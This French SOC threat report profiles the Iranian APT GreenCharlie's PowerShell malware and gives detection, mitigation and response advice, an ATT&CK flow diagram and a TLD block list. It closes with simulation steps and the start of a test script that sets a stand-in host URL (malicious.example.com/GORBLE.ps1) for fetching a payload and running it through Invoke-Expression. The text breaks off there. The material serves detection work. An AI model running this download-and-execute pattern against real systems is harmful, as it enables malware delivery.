GreenCharlie : Le rapport SOC sur les exploits PowerShell par l’APT soutenu par l’Iran
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé de l’exploitation PowerShell de GreenCharlie
GreenCharlie est un groupe APT basé en Iran qui mène des cyber-espionnages en utilisant une famille de malwares PowerShell à plusieurs étapes (GORBLE, TAMECAT, POWERSTAR). Le groupe enregistre de nombreux domaines DNS dynamiques pour le phishing, utilise des scripts PowerShell obfusqués avec un encodage Base64 et bitwise personnalisé, et communique avec des serveurs C2 via HTTPS POST. L’activité a culminé de mai à août 2024 avec des adresses IP iraniennes et des services VPN masquant le trafic.
Enquête
Analysez le trafic réseau pour détecter les connexions vers des domaines DDNS et des plages d’adresses IP connus associés au groupe (par exemple, *.ddnsgeek.com, *.dns-dynamic.net). Recherchez des chaînes d’exécution PowerShell qui effectuent un décodage Base64 suivi d’opérations bitwise NOT, et des scripts qui invoquent ScriptBlock.Create ou Invoke-Expression. Surveillez les injections de processus et l’exécution en mémoire de charges utiles décryptées. Corrélez les alertes aux techniques ATT&CK T1583.001, T1566.002, T1059.001, T1568.
Atténuation
Mettez en œuvre une journalisation stricte de PowerShell (ModuleLogging, ScriptBlockLogging) et appliquez le mode de langage restreint. Bloquez ou proxysez le trafic vers des fournisseurs DDNS connus et des TLD suspects (.info, .xyz, .icu, .network, .online, .site). Déployez une mise en bac à sable DNS et un filtrage URL pour les domaines de phishing. Utilisez des solutions de détection et de réponse aux points d’extrémité (EDR) pour détecter les scripts PowerShell obfusqués et le décryptage AES en mémoire. Appliquez le principe du moindre privilège pour les comptes de service et désactivez les outils d’exécution à distance inutiles.
Réponse à la menace GreenCharlie
Lorsqu’un indicateur est détecté, isolez l’hôte affecté, capturez la mémoire volatile et collectez les journaux PowerShell. Effectuez des analyses judiciaires pour extraire la charge utile décodée et identifier les serveurs C2. Révoquez les identifiants compromis, faites tourner les secrets, et supprimez les tâches planifiées ou les mécanismes de persistance associés. Partagez les IOC (domaines, IP, valeurs de hachage) avec les ISACs pertinents et mettez à jour les règles de détection en conséquence.
graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef action fill:#99ccff classDef process fill:#ccffcc classDef data fill:#f0e68c %% Nodes start[« <b>Début</b> : Déclencheur d’exécution initiale »] class start action tech_execution[« <b>Technique</b> – T1059.001<br /><b>PowerShell</b> : Exécute un script pour télécharger la charge utile »] class tech_execution technique process_download[« <b>Processus</b> : Téléchargement de la charge utile de seconde étape »] class process_download process tech_obf1[« <b>Technique</b> – T1027.008<br />Charges utiles tronquées (Base64 + NOT) »] class tech_obf1 technique tech_obf2[« <b>Technique</b> – T1027.014<br />Code polymorphe (encodage par variantes) »] class tech_obf2 technique tech_decode[« <b>Technique</b> – T1140<br />Décodage / Désobfuscation de la charge utile »] class tech_decode technique tech_dns[« <b>Technique</b> – T1071.004<br />Protocole de couche application DNS »] class tech_dns technique tech_dga[« <b>Technique</b> – T1568.002<br />Algorithme de génération de domaines (DGA) »] class tech_dga technique tech_web[« <b>Technique</b> – T1102.002<br />Service Web HTTPS bidirectionnel »] class tech_web technique tech_encrypt[« <b>Technique</b> – T1573<br />Canal chiffré AES »] class tech_encrypt technique data_exfil[« <b>Données</b> : Informations système (OS, nom de l’ordinateur) »] class data_exfil data tech_exfil[« <b>Technique</b> – T1041<br />Exfiltration via le canal C2 »] class tech_exfil technique %% Connections start –>|déclenche| tech_execution tech_execution –>|télécharge| process_download process_download –>|obfusque avec| tech_obf1 process_download –>|applique| tech_obf2 process_download –>|décodé par| tech_decode tech_decode –>|communique via| tech_dns tech_dns –>|utilise| tech_dga tech_dns –>|communique via| tech_web tech_web –>|chiffre le trafic avec| tech_encrypt tech_encrypt –>|transporte| data_exfil data_exfil –>|envoyées via| tech_exfil
Flux de l’attaque
Règles de détection PowerShell de GreenCharlie
Détection des frameworks malware PowerShell APT de GreenCharlie [Windows Powershell]
Voir
Possibilité d’infiltration/exfiltration de données/C2 via des services/outils tiers (via proxy)
Voir
IOCs (ip) à détecter : Campagnes de cyber-espionnage basées sur PowerShell de l’APT GreenCharlie d’Iran
Voir
IOCs (emails) à détecter : Campagnes de cyber-espionnage basées sur PowerShell de l’APT GreenCharlie d’Iran
Voir
Instructions de simulation des charges utiles
-
Narratif de l’attaque et commandes :
Étape 1 – Récupérer le chargeur malveillant :
L’attaquant utiliseInvoke-WebRequestpour télécharger un script PowerShell nommé GORBLE.ps1 à partir d’un serveur C2.Étape 2 – Encoder la charge utile :
Le script téléchargé contient la charge utile malveillante. L’attaquant encode la totalité du script en base64 et le stocke dans une variable$x.Étape 3 – Exécution via un cmdlet à haut risque :
UtilisantInvoke-Expression, l’attaquant décode$xà la volée et l’exécute, invoquant ainsi le framework GORBLE.Étape 4 – Mouvement latéral (optionnel) :
La charge utile peut ensuite appelerScriptBlock.Createavec une chaîne obfusquée par le bitwise NOT pour lancer une commande PowerShell de deuxième étape sur un hôte distant. -
Script de test de régression :
# ------------------------------------------------- # Simulation du framework PowerShell APT GreenCharlie # ------------------------------------------------- # 1. Simuler le téléchargement du framework malveillant (mot clé GORBLE) $maliciousUrl = "http://malicious.example.com/GORBLE.ps1" $downloaded = @" # GORBLE - charge utile malveillante simulée